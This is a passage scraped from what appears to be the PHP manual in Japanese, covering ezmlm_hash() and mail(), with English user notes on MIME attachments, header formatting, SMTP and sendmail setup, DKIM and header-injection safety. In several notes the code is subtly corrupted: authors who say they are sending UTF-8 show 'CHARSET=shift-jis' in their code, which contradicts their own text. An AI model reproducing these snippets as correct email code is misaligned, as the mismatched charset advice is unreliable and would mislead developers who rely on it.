$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;   // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@example.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]

[EDITOR thiago NOTE: Code has a fix from o.straesser AT gmx DOT de]
lawcd at ntlworld dot com 30-Jan-2006 09:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://php.net/manual/en/function.imap-mail.php
aweather88 at gmail dot com 14-Dec-2005 02:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
josh at sdfahrenheit dot com 15-Apr-2004 07:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.


EZMLM で必要なハッシュ値を計算する

  • ≪ メール 関数
  • mail ≫
  • PHP Manual
  • メール 関数
  • EZMLM で必要なハッシュ値を計算する

ezmlm_hash

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

ezmlm_hash — EZMLM で必要なハッシュ値を計算する

警告

この関数は PHP 7.4.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

ezmlm_hash ( string $addr ) : int

ezmlm_hash() は、EZMLM メイリングリストを MySQL データベースで管理する際に必要なハッシュ値を計算します。

パラメータ

addr

ハッシュ値を計算する email アドレス。

返り値

addr のハッシュ値を返します。

例

例1 ハッシュ値を計算し、ユーザーを登録する

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // PHPLIB dbインターフェイスを使用します

?>

User Contributed Notes

thedragon at mediocreshit dot com 03-Aug-2007 06:55
ezmlm will add a user to the list from a mail() call if you use the -f extra flag in the function.
Example:

mail($to,$title,$email,$headers,"-tfromemail@example.com");

The extra flag being a -t followed by no space and the email address you want the email to appear as though it's being sent from. I spent hours messing with this to try to allow users to sign up for my mailing list by marking a check box while signing up on my site, ezmlm ignored everything until I threw that extra parameter in there.

Hope this helps.
jens at NOSPAM dot rootsy dot nu 30-Sep-2005 12:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF 10-Dec-2003 07:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm


メールを送信する

  • ≪ ezmlm_hash
  • Mailparse ≫
  • PHP Manual
  • メール 関数
  • メールを送信する

mail

(PHP 4, PHP 5, PHP 7, PHP 8)

mail — メールを送信する

説明

mail ( string $to , string $subject , string $message , array|string $additional_headers = [] , string $additional_params = "" ) : bool

メールを送信します。

パラメータ

to

メールの受信者。

» RFC 2822 を満たす書式でなければ なりません。例えば以下のようなものです。

  • user@example.com
  • user@example.com, anotheruser@example.com
  • User <user@example.com>
  • User <user@example.com>, Another User <anotheruser@example.com>

subject

送信するメールの表題。

警告

表題は » RFC 2047 を満たすものでなければなりません。

message

送信するメッセージ。

改行コードは CRLF (\r\n) となります。各行の長さは 70 文字を超えては いけません。

警告

（Windows のみ）PHP が SMTP サーバーと直接通信をする際、ピリオドから 始まる行は無視されます。これを防ぐには、行頭のピリオドを ピリオド 2 つに置き換えてください。

<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers（オプション）

メールヘッダの最後に挿入される String または array。

通常、これは追加のヘッダ（From、Cc、Bcc）のために用いられます。 複数のヘッダを追加する場合は CRLF（\r\n）で区切ります。 外部からのデータを用いてヘッダを組み立てる際には、想定外のヘッダが注入されることを防ぐための処理が必要です。

array が渡されると、キーがヘッダの名前となり、 値がそれぞれのヘッダの値になります。

注意:

PHP 5.4.42 および 5.5.27 より前のバージョンでは、additional_headers は、 メールヘッダインジェクション対策を行っていませんでした。 したがって、指定したヘッダが安全なものであり、ヘッダ以外のものを含まないようにするのはユーザー側の役目となります。 複数の改行文字を置くことでメール本文を始めたりしてはいけません。

注意:

メールを送信する際には、必ず From ヘッダが含まれていなければなりません。 additional_headers パラメータで指定するか、 あるいは php.ini にデフォルト値を指定します。

指定しなかった場合は、以下のようなエラーメッセージが返ります Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing 。 Windows では、SMTP経由で直接メールを送信する際は、 From ヘッダを設定すると Return-Path も設定されます。

注意:

メッセージが受信されなかった場合には、LF（\n）のみを使ってみてください。 Unix の MTA の中には、自動的に LF を CRLF に変換してしまう もの (有名なところでは、» qmail など) があります（もし CRLF を利用していた場合、CR が重複してしまいます）。 ただし、これは最後の手段です。というのも、これは » RFC 2822 に違反しているからです。

additional_params（オプション）

パラメータ additional_params は、 追加のフラグをコマンドラインオプションとしてメール送信プログラムに渡す際に使用可能です。 メール送信プログラムは、設定オプション sendmail_path により設定されます。例えば、 sendmail を使用する際に -f オプションを使って エンベロープの sender アドレスを設定する際に使用できます。

このパラメータはコマンドの実行を防止するために内部的に escapeshellcmd() によってエスケープされます。 escapeshellcmd() はコマンドの実行を防止しますが、 別のパラメータを追加することは許してしまいます。セキュリティ上の理由から、 シェルコマンドへの望ましくないパラメータの追加を避けるために、 ユーザーはこのパラメータを適切に処理することが推奨されます。

escapeshellcmd() が自動的に適用されるため、 インターネット RFC でメールアドレスとして許可さているいくつかの文字を使用することができません。 mail() はそうした文字を許可しないため、プログラム中でそうした文字の使用が必須である場合、 メール送信の代替手段（フレームワークやライブラリの使用など）が推奨されます。

この方法でエンベロープの sender ヘッダ（-f）を設定する際は、 'X-Warning' ヘッダが付加されないように Web サーバーの実行ユーザーを sendmail 設定に追加しておく必要があるかもしれません。 sendmail を利用している場合、これは /etc/mail/trusted-users で設定します。

返り値

メール送信が受け入れられた場合に true 、それ以外の場合に false を返します。

メールの配送が受け入れられたかどうかが基準であることに注意しましょう。 メールが実際にあて先に届いたかどうかでは「ありません」。

変更履歴

バージョン | 説明
7.2.0 | additional_headers パラメータは、 array も受け入れるようになりました。

例

例1 メールを送信する

mail() を用いて単純なメールを送信する。

<?php
// 本文
$message = "Line 1\r\nLine 2\r\nLine 3";

// 1 行が 70 文字を超える場合のため、wordwrap() を用いる
$message = wordwrap($message, 70, "\r\n");

// 送信する
mail('caffeinated@example.com', 'My Subject', $message);
?>

例2 追加ヘッダを付加してメールを送信する

基本ヘッダに加え、MUA に From および Reply-To アドレスを通知する。

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

例3 追加のヘッダを array で指定してメールを送信する

この例は、すぐ上の例と同じメールを送信します。 しかし、追加のヘッダを配列で渡しています (PHP 7.2.0 以降で利用可能)

<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = array(
    'From' => 'webmaster@example.com',
    'Reply-To' => 'webmaster@example.com',
    'X-Mailer' => 'PHP/' . phpversion()
);

mail($to, $subject, $message, $headers);
?>

例4 追加のコマンドラインパラメータを指定してメールを送信する

sendmail_path を用いてメールを送信する際に利用する 追加パラメータとして、additional_params が用いられます。

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
   '-fwebmaster@example.com');
?>

例5 HTML メールを送信する

mail() を用いて HTML メールを送信することも可能です。

<?php
// 複数の受信者を指定
$to = 'johny@example.com, sally@example.com'; // カンマに注意

// 表題
$subject = 'Birthday Reminders for August';

// 本文
$message = '
<html>
<head>
  <title>Birthday Reminders for August</title>
</head>
<body>
  <p>Here are the birthdays upcoming in August!</p>
  <table>
    <tr>
      <th>Person</th><th>Day</th><th>Month</th><th>Year</th>
    </tr>
    <tr>
      <td>Johny</td><td>10th</td><td>August</td><td>1970</td>
    </tr>
    <tr>
      <td>Sally</td><td>17th</td><td>August</td><td>1973</td>
    </tr>
  </table>
</body>
</html>
';

// HTML メールを送信するには Content-type ヘッダが必須
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';

// 追加のヘッダ
$headers[] = 'To: Mary <mary@example.com>, Kelly <kelly@example.com>';
$headers[] = 'From: Birthday Reminder <birthday@example.com>';
$headers[] = 'Cc: birthdayarchive@example.com';
$headers[] = 'Bcc: birthdaycheck@example.com';

// 送信する
mail($to, $subject, $message, implode("\r\n", $headers));
?>

注意:

HTML などの複雑な形式のメールを送信する場合は、PEAR パッケージ » PEAR::Mail_Mime を利用することを推奨します。

注意

注意:

Windows 環境での mail() のSMTP実装は、sendmail の実装とは 多くの点で違います。 第一に、メッセージの生成にローカルのバイナリは使用せず、 ソケットを通じて直接操作するだけです。 これは MTA がネットワークソケットを listen している 必要があるということを意味します（ローカルホスト、リモートマシン どちらでもかまいません）。

第二に、 From: や Cc:・ Bcc:・ Date: のようなカスタムヘッダは MTA ではなく PHP によってパースされます。

そのため、to 引数には "Something <someone@example.com>" 形式の メールアドレスを与えることはできません。 MTA と通信する際に mail コマンドはこれを適切にパースできません。

注意:

mail() 関数は、大量のメールをループ内で送信するには 向いていないことに注意しましょう。この関数は 1 通のメールを送信するたびに SMTP ソケットをいったん閉じて開きなおします。これは非効率的です。

大量のメールを送信する場合は、 » PEAR::Mail および » PEAR::Mail_Queue パッケージを参照ください。

注意:

以下の RFC も有用です。 » RFC 1896、 » RFC 2045、 » RFC 2046、 » RFC 2047、 » RFC 2048、 » RFC 2049 および » RFC 2822

参考

  • mb_send_mail() - エンコード変換を行ってメールを送信する
  • imap_mail() - e-mail メッセージを送信する
  • » PEAR::Mail
  • » PEAR::Mail_Mime

User Contributed Notes

marcrbarker at NOSPAMgmail dot com 02-Dec-2020 12:03
DKIM signature can break by trying to add <HTML tag> text effects where plain text is expected:

.
.
.
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-Type: text/html; utf-8';
$headers[] = 'Content-Transfer-Encoding: quoted-printable';

// *** This will break DKIM ***
$message = '<span style="color:green;font-size:24px;">ThisIsColored</span>'
// *** This had broke DKIM ***

mail($email, $subject, $message, implode("\r\n", $headers));
.
.
.
John dot php at yaph dot org dot uk 07-Nov-2020 07:37
I found I needed to use the additional parameter -f$envelope_sender to send subscribe messages to my email list manager (Enemies of Carlotta, YMMV). Simply setting From: email@address.tld in additional headers wasn't sufficient.

So to subscribe to mylist@example.com via a PHP script I call
mail("mylist-subscribe@example.com", $emailSubject, $body, '', "-f$email_to_subscribe");
pangz dot lab at gmail dot com 06-Jul-2020 08:42
* Sending email with attachment

function sendMail(
    string $fileAttachment,
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    string $toAddress   = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $fileAttachment = trim($fileAttachment);
    $from           = $fromMail;
    $pathInfo       = pathinfo($fileAttachment);
    $attchmentName  = "attachment_".date("YmdHms").(
    (isset($pathInfo['extension']))? ".".$pathInfo['extension'] : ""
    );

    $attachment    = chunk_split(base64_encode(file_get_contents($fileAttachment)));
    $boundary      = "PHP-mixed-".md5(time());
    $boundWithPre  = "\n--".$boundary;

    $headers   = "From: $from";
    $headers  .= "\nReply-To: $from";
    $headers  .= "\nContent-Type: multipart/mixed; boundary=\"".$boundary."\"";

    $message   = $boundWithPre;
    $message  .= "\n Content-Type: text/plain; CHARSET=shift-jis\n";
    $message  .= "\n $mailMessage";

    $message .= $boundWithPre;
    $message .= "\nContent-Type: application/octet-stream; name=\"".$attchmentName."\"";
    $message .= "\nContent-Transfer-Encoding: base64\n";
    $message .= "\nContent-Disposition: attachment\n";
    $message .= $attachment;
    $message .= $boundWithPre."--";

    return mail($toAddress, $subject, $message, $headers);
}

* Sending email in html

function sendHtmlMail(
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    array $toAddress    = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $to        = implode(",", $toAddress);
    $headers[] = 'MIME-Version: 1.0';
    $headers[] = 'Content-type: text/html; charset=iso-8859-1';
    $headers[] = 'To: '.$to;
    $headers[] = 'From: '.$fromMail;

    return mail($to, $subject, $mailMessage, implode("\r\n", $headers));
}
jerold at pangzlab dot com 10-Feb-2020 05:47
Sending mail with attachments

function sendMail(
    $mailTo,
    $message,
    $subject    = "Your Subject",
    $fromMail   = "your@emialaddress.com",
    $fromName   = "from sender",
    $replyTo    = "no-reply",
    $filePath   = "path"
)
{
    $LE  = "\r\n";
    $uid = md5(uniqid(time()));
    $withAttachment = ($filePath !== NULL && file_exists($filePath));

    if($withAttachment){
        $fileName   = basename($filePath);
        $fileSize   = filesize($filePath);
        $handle     = fopen($filePath, "r");
        $content    = fread($handle, $fileSize);
        fclose($handle);
        $content = chunk_split(base64_encode($content));
    }

    $header = "From: ".$fromName." <".$fromMail.">$LE";
    $header .= "Reply-To: ".$replyTo."$LE";
    $header .= "MIME-Version: 1.0$LE";
    $header .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"$LE$LE";
    $header .= "This is a multi-part message in MIME format.$LE";
    $header .= "--".$uid."$LE";
    $header .= "Content-type:text/html; CHARSET=shift-jis$LE";
    $header .= "Content-Transfer-Encoding: 7bit$LE$LE";
    $header .= $message."$LE$LE";

    if($withAttachment){
        $header .= "--".$uid."$LE";
        $header .= "Content-Type: application/octet-stream; name=\"".$fileName."\"$LE";
        $header .= "Content-Transfer-Encoding: base64$LE";
        $header .= "Content-Disposition: attachment; filename=\"".$fileName."\"$LE$LE";
        $header .= $content."$LE$LE";
        $header .= "--".$uid."--";
    }
    return mail($mailTo, $subject, "", $header);
}
Anonymous 12-Oct-2019 07:36
If you notice wrong displayed characters in the email it's because you need to properly set the Content-Type and the Charset in the headers of the email:

<?php
$headers = 'Content-Type: text/plain; CHARSET=shift-jis' . "\r\n";
?>

Mostly, UTF-8 is your best choice.

You can set custom headers with the fourth parameter of the mail() function.

To make the whole thing waterproof, add the following header too:

<?php
$headers .= 'Content-Transfer-Encoding: base64' . "\r\n";
?>

Now you can use the combination of UTF-8 and Base64 to properly encode the subject line and the recipient name like this:

<?php
$subject = '=?UTF-8?B?' . base64_encode('Test email with German Umlauts oaus') . '?=';
$recipient = '=?UTF-8?B?' . base64_encode('Margret Muller') . '?= <recipient@domain.com>';
?>

And don't forget to Base64 encode the email message too:

<?php
$message = base64_encode('This email contains German Umlauts oaus.');
?>

All references are taken from:
https://dev.to/lutvit/how-to-make-the-php-mail-function-awesome-3cii
Mark Simon 05-Jul-2019 07:04
It is worth noting that you can set up a fake sendmail program using the sendmail_path directive in php.ini.

Despite the comment in that file, sendmail_path also works for Window. From https://www.php.net/manual/en/mail.configuration.php#ini.sendmail-path:

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.
charles dot fisher at arconic dot com 10-Nov-2017 07:34
I migrated an application to a platform without a local transport agent (MTA). I did not want to configure an MTA, so I wrote this xxmail function to replace mail() with calls to a remote SMTP server. Hopefully it is of some use.

function xxmail($to, $subject, $body, $headers)
{
 $smtp = stream_socket_client('tcp://smtp.yourmail.com:25', $eno, $estr, 30);

 $B = 8192;
 $c = "\r\n";
 $s = 'myapp@someserver.com';

 fwrite($smtp, 'helo ' . $_ENV['HOSTNAME'] . $c);
  $junk = fgets($smtp, $B);

 // Envelope
 fwrite($smtp, 'mail from: ' . $s . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'rcpt to: ' . $to . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'data' . $c);
  $junk = fgets($smtp, $B);

 // Header
 fwrite($smtp, 'To: ' . $to . $c);
 if(strlen($subject)) fwrite($smtp, 'Subject: ' . $subject . $c);
 if(strlen($headers)) fwrite($smtp, $headers); // Must be \r\n (delimited)
 fwrite($smtp, $headers . $c);

 // Body
 if(strlen($body)) fwrite($smtp, $body . $c);
 fwrite($smtp, $c . '.' . $c);
  $junk = fgets($smtp, $B);

 // Close
 fwrite($smtp, 'quit' . $c);
  $junk = fgets($smtp, $B);
 fclose($smtp);
}
eeeugeneee 21-Jul-2017 01:39
Send mail with minimal requirements from email services.

<?php
    $encoding = "utf-8";

    // Preferences for Subject field
    $subject_preferences = array(
        "input-charset" => $encoding,
        "output-charset" => $encoding,
        "line-length" => 76,
        "line-break-chars" => "\r\n"
    );

    // Mail header
    $header = "Content-type: text/html; charset=".$encoding." \r\n";
    $header .= "From: ".$from_name." <".$from_mail."> \r\n";
    $header .= "MIME-Version: 1.0 \r\n";
    $header .= "Content-Transfer-Encoding: 8bit \r\n";
    $header .= "Date: ".date("r (T)")." \r\n";
    $header .= iconv_mime_encode("Subject", $mail_subject, $subject_preferences);

    // Send mail
    mail($mail_to, $mail_subject, $mail_message, $header);
?>
php at simoneast dot net 31-May-2017 05:19
Often it's helpful to find the exact error message that is triggered by the mail() function. While the function doesn't provide an error directly, you can use error_get_last() when mail() returns false.

<?php
$success = mail('example@example.com', 'My Subject', $message);
if (!$success) {
    $errorMessage = error_get_last()['message'];
}
?>

(Tested successfully on Windows which uses SMTP by default, but sendmail on Linux/OSX may not provide the same level of detail.)

Thanks to https://stackoverflow.com/a/20203870/195835
chris at ocproducts dot com 26-Apr-2017 10:15
Correction to my earlier note:

'"\n" is confirmed required for qmail and postfix, probably also for sendmail and exim but I have not tested.'

It only affects qmail.
chris at ocproducts dot com 26-Apr-2017 10:04
The 'sendmail' executable which PHP uses on Linux/Mac (not Windows) expects "\n" as a line separator.

This executable is a standard, and emulated by other MTAs.

"\n" is confirmed required for qmail and postfix, probably also for sendmail and exim but I have not tested.

If you pass through using "\r\n" as a separator it may appear to work, but your email will be subtly corrupted and some middleware may break. It only works because some systems will clean up your mistake.

If you are implementing DKIM be very careful, as DKIM checks will fail (at least on popular validation tools) if you screw this up. DKIM must be calculated using "\r\n" but then you must switch it all to "\n" when using the PHP mail function.

On Windows, however, you should use "\r\n" because PHP is using SMTP in this situation, and hence the normal rules of the SMTP protocol (not the normal rules of Unix piping) apply.
Anonymous 14-Dec-2016 10:18
Security advice: Although it is not documented, for the parameters $to and $subject the mail() function changes at least \r and \n to space. So these parameters are safe against injection of additional headers. But you might want to check $to for commas as these separate multiple addresses and you might not want to send to more than one recipient.

The crucial part is the $additional_headers parameter. This parameter can't be cleaned by the mail() function. So it is up to you to prevent unwanted \r or \n to be inserted into the values you put in there. Otherwise you just created a potential spam distributor.
jim at jimbrooking dot net 06-Jan-2016 04:17
I recently changed hosting companies and spent a day trying to see why an email script that had been working for years failed on the new server.

The answer was that the old hosting company's email server accepted multiple "CC:" lines in the additional headers string, and the new did not. Thus on the new server

...
$add_hdr .= "CC: " . $email1 . PHP_EOL;
$add_hdr .= "CC: " . $email2 . PHP_EOL;
...

did not work, but

...
$add_hdr .= "CC: " . $email1 . ", " . $email2 . PHP_EOL;
...

did work.

In both cases, PHP's mail() function returned no error, but until I placed both emails, comma-separated, in the same line I was getting the following error:

550 Messages should have one or no Cc headers, not 2.

Hope this helps someone.
jimmytrojan009 at gmail dot com 26-Oct-2015 06:05
I have tried many online tutorials to get mail() function working in windows, until i stumbled upon this website
http://php.codeindepth.com/php-sending-mail/

It really boils down to changing few directives in php.ini and sendmail.ini

Changes required in sendmail.ini

smtp_server=smtp.gmail.com
smtp_port=587
error_logfile=error.log
debug_logfile=debug.log
auth_username=your-gmail-id@gmail.com
auth_password=your-gmail-password
force_sender=your-gmail-id@gmail.com

Changes required in php.ini

SMTP=smtp.gmail.com
smtp_port=587
sendmail_from = your-gmail-id@gmail.com
sendmail_path = "\"C:\xampp\sendmail\sendmail.exe\" -t"
;sendmail_path = "C:\xampp\mailtodisk\mailtodisk.exe"
ittasks at gmail dot com 28-Mar-2013 08:55
When dealing with mail headers "\n" and "\r\n" *sometimes* makes a big difference.

Once our CentOs servers got re-installed, all headers like:

  $headers = "MIME-Version: 1.0\r\n";
  $headers.= "Content-type: text/html; charset=iso-8859-1\r\n";
 ...

became part of message body instead of headers

I was able to fixed this by replacing "\r\n" with just "\n"
shenyqwilliam 12-Nov-2012 02:32
If you're sending a large attachment, you may encounter overflow problem.
AFAIK, two common limits could be responsible.

1. Postfix message size limit.
Edit /etc/postfix/main.cf . Change the value of "message_size_limit".

2. Apache memory size limit for scripts.
Edit /etc/php.ini . Change the value of "memory_limit".

//Then reload (or restart) Postfix and Apache.
//Empirically, sending 200MB attachment requires 500MB memory.

Be careful! Raising memory limits may cause unexpected consequences, and is hence deprecated.
Recommended alternatives include:
* Pack and split attachment into several emails.
* Only include a link to the file. The receiver can download it later.
* Use IMAP/POP3 server (e.g. Dovecot).
bburch at bouncingpixel dot com 11-Oct-2012 12:13
When using the PHP mail() function with IIS 6 on Windows Server 2003, check your "Relay" settings on the SMTP Virtual Server in IIS.  If you grant access to 127.0.0.1 and set then set your php.ini SMTP to the same IP address (along with setting the same port 25), you should have success in sending mail.

I'm using PHP 5.3 and have had success with this configuration and did not have to define the "sendmail_from" setting in our php.ini file.
martin dot farrow at versacloud dot com 06-Aug-2012 09:07
I've noticed that on some versions of PHP occasionally mail() returns the empty string for success, rather than true or false. The empty string evaluates to false.

if you use constructs like

if ( mail( ... ) ){
  # do something here on success
}

this wont work consistently.

so you need code like

$ret=mail(....)

if ( $ret == '' || $ret ){
  # do something here
}

to get consistent results.
pavel.lint at vk.com 16-May-2012 11:22
Here's a small handy function I use to send email in UTF-8.

 <?php
function mail_utf8($to, $from_user, $from_email,
                                             $subject = '(No subject)', $message = '')
   {
      $from_user = "=?UTF-8?B?".base64_encode($from_user)."?=";
      $subject = "=?UTF-8?B?".base64_encode($subject)."?=";

      $headers = "From: $from_user <$from_email>\r\n".
               "MIME-Version: 1.0" . "\r\n" .
               "Content-type: text/html; CHARSET=shift-jis" . "\r\n";

     return mail($to, $subject, $message, $headers);
   }
?>
rexlorenzo at gmail dot com 02-May-2012 01:24
Be careful to not put extra spaces for the $headers variable.

For example, this didn't work on our servers:

$headers = "From: $from \r\n Bcc: $bcc \r\n";

But this did:

$headers = "From: $from\r\nBcc: $bcc\r\n";

Notice the removal of the spaces around the first \r\n.
yarik dot bohatsky at gmail dot com 17-Apr-2012 03:02
If you want to send UTF-8 HTML letter you need to mention charset twice:

1) In message header:
<?php
$headers .= 'Content-type: text/html; CHARSET=shift-jis' . "\r\n";
?>

2) In HTML header:
<?php
$message = '
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; CHARSET=shift-jis" />
   <title>Fillon soutient a fond le retour d\'un Grand Prix de France</title>
</head>
<body>
   <p>Le Premier ministre Francois Fillon, passionne d\'automobile et pilote a ses heures, a apporte un soutien appuye au retour d\'un Grand Prix de France au calendrier 2013 de la Formule 1, en faisant un passage-eclair vendredi sur le circuit Paul Ricard dans le Var.</p>
</body>
</html>
';

In this case Outlook will also "understand" that message is encoded using UTF-8.
Max AT 15-Feb-2012 09:26
To define a mail sensitivity you have to put this line in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";

        $headers .= "Sensitivity: Personal\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Possible Options:
Sensitivity: Normal, Personal, Private and Company-Confidential

These will be recognised and handled in Outlook, Thunderbird and others.
ABOMB 30-Jan-2012 10:16
I was having delivery issues from this function to Gmail, Yahoo, AOL, etc.  I used the notes here to figure that you need to be setting your Return-Path to a valid email to catch bounces.  There are two extra delivery gotchas on top of that:

1) The domain in the email used in the -f option in the php.ini sendmail parameter or in the mail() extra parameters field, needs to have a valid SPF record for the domain (in DNS as a "TXT" record type for sure and add an additional  "SPF" type record if possible).  Why? That's header field being used for spam checks.

2) You should also use a domain key or DKIM.  The trick here is that the domain key/DKIM is case sensitive!  I used Cpanel to create my domain key which automatically used all lowercase domain names in the key creation.  I found when  sending email and using a camel case "-f account@MyDomainHere.Com" option, my key was not accepted.  However it was accepted when I used "-f account@mydomainhere.com".

There are many other factors that can contribute to mail not getting to inboxes, including your own multiple failed testing attempts, so I suggest you consult each site's guidelines and don't ask me for help.  These are just the couple technical issues that helped my case.

I hope this saves someone some time and headaches...
debis at woh dot rr dot com 14-Dec-2011 03:09
This is for Windows Server 2003, IIS 6.0 with SMTP virtual server.

The problem I had was not including init_set for the SMTP server, I thought the SMTP definition in the IIS SMTP virtual server configuration would work.  When I sent mail manually this was not an issue.

Also, $mail_sent = @mail( $to, $subject, $message, $headers ); wouldn't work but $mail_sent = mail($to, $subject, $message, $headers); did.
Lack of date_default_timezone_set() only caused a warning because php guessed what it should be.

This worked:
<?php
$to      = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
    'Reply-To: webmaster@example.com' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();
ini_set ( "SMTP", "smtp-server.example.com" );
date_default_timezone_set('America/New_York');

mail($to, $subject, $message, $headers);
?>

And just so you can troubleshoot, this worked when sending mail from the command line/manually. CLI worked even though the php code without the init_set function wouldn't work.

You will notice that the "rcpt to" and "to" fields appear redundant, but if both are not used, the delivered mail's "to" field will be blank/empty.

-------------------------------
telnet www.example.com 25
helo
mail from: webmaster@example.com
rcpt to: someone@example.com
data
to: someone@example.com
subject: test again to make sure

this is my message
.
quit
-----------------------------------
shuitest at gmail dot com 02-Nov-2010 09:50
If you use mutt, do as below,

/usr/bin/mutt -s '$subject' -f /dev/null -e 'set copy=no' -e 'set from = "{$GLOBALS[cfg][email_from]}"' -a '$attach_file_full_path' '{$GLOBALS[cfg][email_to]}' </dev/null 2>&1;
Porjo 06-Jul-2010 11:19
Make sure you enclose \r\n in double quotes (not single quotes!) so that PHP can translate that into the correct linefeed code
umangberi at gmail dot com 02-May-2010 01:41
Outlook 2007 seemed to be a little finicky with me to have carriage returns in the headers. So any \r\n resulted in messages that had default apache messages sent over to me.

As soon as I removed \r from all of the headers, the script started working fine. Hope that helped.
Systemx 04-Nov-2009 02:29
Bare LFs in SMTP

Use This

<?php
// Fix any bare linefeeds in the message to make it RFC821 Compliant.
$message = preg_replace("#(?<!\r)\n#si", "\r\n", $message);

// Make sure there are no bare linefeeds in the headers
$headers = preg_replace('#(?<!\r)\n#si', "\r\n", $headers);
?>
Edward 01-Aug-2009 02:08
Currently my hosting service is on Godaddy. When attempting to use the mail function without the fifth parameter containing "-f", my message headers would not work.

Whenever your message headers do not work, simply try using the fifth parameter:

<?php
mail($to, $subject, $message, $headers, "-femail.address@example.com");
?>
Erich at gasboysnospam dot net 18-Feb-2009 07:43
if your mail is failing (returns false) be aware that many servers are configured to kill mail going out with a bcc or cc header.

The ideal workaround is to use the smtp functions which servers allow because of its better audit trail. Alternatively call the mail function several times.

I've just spent about four hours trying to work out what I was doing wrong!!
molotster on google mail com 13-Oct-2008 01:03
Note, that single line should not contain more than 78 character, but is not allowed to contain more than 998 characters.

The possible consequences are:
Over 78 - clients are allowed to display the message in a "harder to read" way.
Over 998 - clients and servers are allowed to drop the message or cause any buffer-limit error.

See:
